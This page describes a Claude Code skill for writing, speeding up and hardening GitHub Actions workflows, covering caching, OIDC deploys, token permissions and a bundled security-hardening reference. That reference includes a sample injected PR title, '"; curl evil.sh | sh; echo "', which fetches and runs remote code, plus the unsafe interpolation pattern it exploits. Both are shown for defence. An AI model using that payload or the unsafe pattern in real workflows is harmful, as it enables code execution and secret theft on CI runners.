GitHub Actions skill for Claude Code
Faster CI, read-only tokens, zero stored cloud keys. Claude rewrites workflows so irrelevant changes skip CI, superseded runs cancel, and package and Docker caches make the warm path fast. Tokens default to read-only, deploys use OIDC with subject-restricted trust policies and protected environments, and untrusted PR text never reaches a shell. Results are linted with actionlint and zizmor and reported with before-and-after timings.
- name
github-actions - size227 lines · ≈1,950 tokens
- files2
- licenseMIT
- updated
What Claude sees before loading it
This description is the only part of the skill that sits in context all the time. Claude reads it to decide when to load the full playbook below.
description: Writes, speeds up, and hardens GitHub Actions workflows — triggers and path filters, concurrency, dependency and Docker layer caching, matrices, reusable workflows and composite actions, OIDC federation to AWS/GCP/Azure, environments, least-privilege GITHUB_TOKEN permissions, and SHA-pinned actions. Use when creating or editing .github/workflows/*.yml, when CI is slow or flaky, when deploying from Actions to a cloud, or when reviewing workflows for script injection and pull_request_target risks. Try asking
- Our CI takes 12 minutes on every PR. Make it faster without dropping coverage
- Set up deploys to AWS from GitHub Actions without storing access keys
- Audit our workflows for pull_request_target and script injection problems
Use it when
- You are creating or editing files in .github/workflows
- CI is slow, redundant, or re-downloads dependencies every run
- A workflow deploys to AWS, GCP, or Azure
- You need a security review of workflows that touch forks or secrets
Skip it when
- The pipeline lives in .gitlab-ci.yml — use gitlab-ci instead
- You want Claude itself running inside CI jobs — use headless-ci-agent instead
How to check the result
actionlint and zizmor report no findings, a test run passes on a branch, and the warm-cache duration is measured against the previous runs from gh run list.
The common mistake it prevents
Echoing a pull request title or branch name through ${{ }} directly inside a run step, which lets anyone opening a PR execute shell commands.
A good workflow runs only when relevant files change, cancels superseded runs, restores
caches so the warm path is fast, uses a read-only token by default, authenticates to
clouds with OIDC instead of stored keys, and passes actionlint and a security lint.
Ground rules
- Top-level
permissions: contents: read; grant more per job only where needed. - Pin third-party actions to a full commit SHA with the version in a comment, and let Dependabot update them. Examples below show tags for readability only.
- Never interpolate
${{ github.event.* }}user-controlled fields directly intorun:; pass them throughenv:. - Cloud credentials come from OIDC (
id-token: write), not long-lived secrets. - Deploy jobs run in a GitHub Environment with required reviewers for production.
- Every job sets
timeout-minutes.
Workflow
- [ ] 1. Read existing workflows and recent run times (gh run list)
- [ ] 2. Define triggers, path filters, concurrency
- [ ] 3. Set permissions per job
- [ ] 4. Add caching and parallelism (matrix, job split)
- [ ] 5. Extract repetition into reusable workflows / composite actions
- [ ] 6. Wire deploys via OIDC + environments
- [ ] 7. Lint (actionlint, zizmor), run, and compare timings
1. Inspect
ls .github/workflows/
gh run list --limit 20 --json name,conclusion,createdAt,updatedAt,event
gh run view <run-id> --log-failed
gh workflow run ci.yml --ref my-branch # if it has workflow_dispatch
2–4. Baseline CI workflow
name: ci
on:
pull_request:
paths-ignore: ["docs/**", "**/*.md"]
push:
branches: [main]
merge_group:
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
node: [20, 22, 24]
include:
- node: 22
coverage: true
steps:
- uses: actions/checkout@v5
with:
persist-credentials: false
- uses: actions/setup-node@v5
with:
node-version: ${{ matrix.node }}
cache: npm
- run: npm ci
- run: npm test -- ${{ matrix.coverage && '--coverage' || '' }}
- if: matrix.coverage
uses: actions/upload-artifact@v4
with:
name: coverage
path: coverage/
retention-days: 7
Caching decisions:
| Stack | Cache |
|---|---|
| npm / pnpm / yarn | setup-node with cache: (caches the package store, not node_modules) |
| Python pip / uv | setup-python with cache: pip; astral-sh/setup-uv with enable-cache: true |
| Go | setup-go caches modules and build cache by default |
| Gradle / Maven | setup-java cache: or gradle/actions/setup-gradle |
| Custom (tool binaries, build outputs) | actions/cache keyed on hashFiles(...) with restore-keys fallback |
| Docker images | docker/build-push-action with cache-from: type=gha and cache-to: type=gha,mode=max |
Speed levers in order: skip irrelevant runs (paths, concurrency) -> cache -> split slow jobs and run them in parallel -> shard tests via matrix -> larger runners.
5. Reuse
Reusable workflow (whole jobs) — .github/workflows/deploy.yml:
on:
workflow_call:
inputs:
environment: { type: string, required: true }
secrets:
SLACK_WEBHOOK: { required: false }
Caller:
jobs:
deploy-staging:
uses: ./.github/workflows/deploy.yml
with: { environment: staging }
secrets: inherit
Composite action (shared steps) lives in .github/actions/<name>/action.yml with
runs: using: composite; every run step there needs an explicit shell: bash.
| Need | Use |
|---|---|
| Share steps within jobs | Composite action |
| Share entire jobs with their own runners, environments, permissions | Reusable workflow |
| Share across repos | Either, referenced as org/repo/path@<sha> |
6. Deploy with OIDC
jobs:
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-24.04
timeout-minutes: 20
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@v5
with: { persist-credentials: false }
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
aws-region: eu-west-1
- run: ./scripts/deploy.sh
The IAM role trust policy must restrict the subject, e.g.
"token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
with aud = sts.amazonaws.com. A trust policy matching only the org (repo:acme/*)
lets any repo’s workflow assume the role. GCP uses google-github-actions/auth with a
Workload Identity Provider; Azure uses azure/login with federated credentials.
7. Lint and verify
actionlint # syntax, expressions, shellcheck on run: blocks
zizmor .github/workflows/ # security audit: injection, excessive permissions, unpinned actions
gh run watch # follow the triggered run
Compare total and per-job duration before and after on the same kind of event; report the warm-cache time, not the first run.
Security essentials
Read references/security-hardening.md before
touching workflows that use pull_request_target, workflow_run, self-hosted runners,
or that publish packages/releases. The short list:
- Script injection: unsafe
run: echo "${{ github.event.pull_request.title }}"; safeenv: { TITLE: "${{ github.event.pull_request.title }}" }then"$TITLE". pull_request_targetruns with secrets and a write token in the context of the base repo. Never check out and execute the PR’s head code in it.persist-credentials: falseon checkout unless a later step must push.- Secrets are not passed to workflows triggered from forks; design fork CI to need none.
Useful expressions and files
- id: meta
run: echo "version=$(jq -r .version package.json)" >> "$GITHUB_OUTPUT"
- run: echo "Deployed ${{ steps.meta.outputs.version }}" >> "$GITHUB_STEP_SUMMARY"
- if: failure() && github.ref == 'refs/heads/main'
run: ./scripts/notify-failure.sh
- if: contains(github.event.pull_request.labels.*.name, 'run-e2e')
run: npm run e2e
Gotchas
paths/paths-ignoreon a workflow used as a required status check leaves the check pending forever when skipped; use a job-level filter (e.g. a changes job) or make an always-running summary job the required check.cancel-in-progress: trueonmainpushes can cancel a deploy midway; scope it to PRs.- Cache keys without the OS or lockfile hash restore incompatible caches.
- Artifacts v4 names must be unique per run; matrix jobs need
name: cov-${{ matrix.node }}. scheduleruns only on the default branch and is disabled after 60 days of repo inactivity.- Workflows changed in a PR from a fork do not get secrets; test secret-dependent logic on a branch in the main repo.
GITHUB_TOKENpushes do not trigger other workflows (by design); use a GitHub App token if a chained trigger is required.ubuntu-latestmoves to new images over time; pinubuntu-24.04when reproducibility matters.
Output
**Workflows changed:** ci.yml (rewritten), deploy.yml (new reusable)
**Permissions:** default contents:read; deploy job adds id-token:write
**Caching:** npm via setup-node, Docker via gha cache
**Timing (warm, PR):** 11m40s -> 4m05s (lint and test parallel, 3-way test shard)
**Security:** actionlint clean, zizmor 0 findings, all actions SHA-pinned, no AWS keys in secrets Bundled files
Loaded only when a step in the skill needs them. Review them here before installing.
references/security-hardening.md
# GitHub Actions security hardening
Read this for workflows that handle untrusted input (forks, issue/PR text), publish
artifacts or releases, deploy, or run on self-hosted runners.
## Threat model in one table
| Entry point | Risk | Control |
|---|---|---|
| PR title/body, branch name, issue comment, commit message | Shell injection via `${{ }}` in `run:` | Pass via `env:`, quote `"$VAR"` |
| `pull_request_target` | Fork code runs with secrets + write token | Never checkout `github.event.pull_request.head.sha` and run it |
| `workflow_run` | Downloads artifacts produced by untrusted PR runs | Treat artifacts as data; validate before use; never execute |
| Third-party actions | Tag moved to malicious commit (tj-actions incident, 2025) | Pin full SHA; review diffs on update |
| Over-scoped `GITHUB_TOKEN` | Compromised step can push, release, edit issues | `permissions:` minimal per job |
| Long-lived cloud keys in secrets | Exfiltration grants persistent access | OIDC with subject-restricted trust |
| Self-hosted runners on public repos | Fork PRs execute on your machines | Use GitHub-hosted runners for public repos, or ephemeral isolated runners |
| Cache poisoning | Untrusted job writes a cache later restored by a privileged job | Do not restore caches in release jobs, or key them so PR caches cannot match |
## Script injection
Unsafe:
```yaml
- run: |
echo "Checking ${{ github.event.issue.title }}"
```
A title like `"; curl evil.sh | sh; echo "` executes. Safe:
```yaml
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Checking $ISSUE_TITLE"
```
Same rule for `github.head_ref`, `github.event.comment.body`, `github.event.review.body`,
`github.event.pages.*.page_name`, `github.event.commits.*.message`, and
`github.event.head_commit.author.*`. `actions/github-script` has the same issue if you
template `${{ }}` into the script body; read from `context` instead.
## pull_request_target safely
Use it only for jobs that need write access on fork PRs without running PR code
(labeling, commenting, triage):
```yaml
on:
pull_request_target:
types: [opened, synchronize]
permissions:
pull-requests: write
jobs:
label:
runs-on: ubuntu-24.04
steps:
- uses: actions/labeler@v5 # pin SHA; reads config from base branch
```
If PR code must be built with privileges, split it: an unprivileged `pull_request`
workflow builds and uploads an artifact; a `workflow_run` workflow downloads it as
data, validates it, and posts results. Never `npm install` or run scripts from the PR
in the privileged workflow.
## Pinning and updates
```yaml
- uses: actions/checkout@<40-char-sha> # v5.0.0
```
`.github/dependabot.yml`:
```yaml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule: { interval: weekly }
groups:
actions: { patterns: ["*"] }
```
Organization policy can require SHA pinning and an allowlist of actions.
## Token permissions reference
| Job does | Needs |
|---|---|
| Checkout, build, test | `contents: read` |
| Comment on PR | `pull-requests: write` |
| Create release / push tag | `contents: write` |
| Push to GHCR | `packages: write` |
| OIDC to cloud | `id-token: write` |
| Upload SARIF | `security-events: write` |
| Artifact attestations / provenance | `id-token: write`, `attestations: write` |
## OIDC trust policy (AWS)
```json
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
}
}
}
```
Subject formats: `repo:ORG/REPO:ref:refs/heads/main`, `repo:ORG/REPO:environment:NAME`,
`repo:ORG/REPO:pull_request`. Prefer environment-scoped subjects for deploy roles so
environment protection rules gate the credentials.
## Supply chain for releases
- Build once, promote the same artifact through environments.
- Generate provenance with `actions/attest-build-provenance` and verify with
`gh attestation verify`.
- npm: publish with `npm publish --provenance` (requires `id-token: write`) or trusted
publishing; PyPI: trusted publishing via `pypa/gh-action-pypi-publish` with OIDC, no
API token.
## Audit checklist
- [ ] Top-level `permissions` present and minimal
- [ ] No `${{ github.event.* }}` user text inside `run:` or github-script bodies
- [ ] No `pull_request_target` + checkout of PR head
- [ ] All third-party actions SHA-pinned; Dependabot configured for actions
- [ ] `persist-credentials: false` where pushing is not needed
- [ ] Cloud auth via OIDC with repo + environment subject restriction
- [ ] Production deploys gated by an Environment with reviewers
- [ ] `zizmor` and `actionlint` clean
About this skill
Written and maintained by the Claude Skills editors to the same editorial standard as every skill in the directory: a selective trigger, a real workflow, known pitfalls and a verification step. First published , last updated . MIT licensed.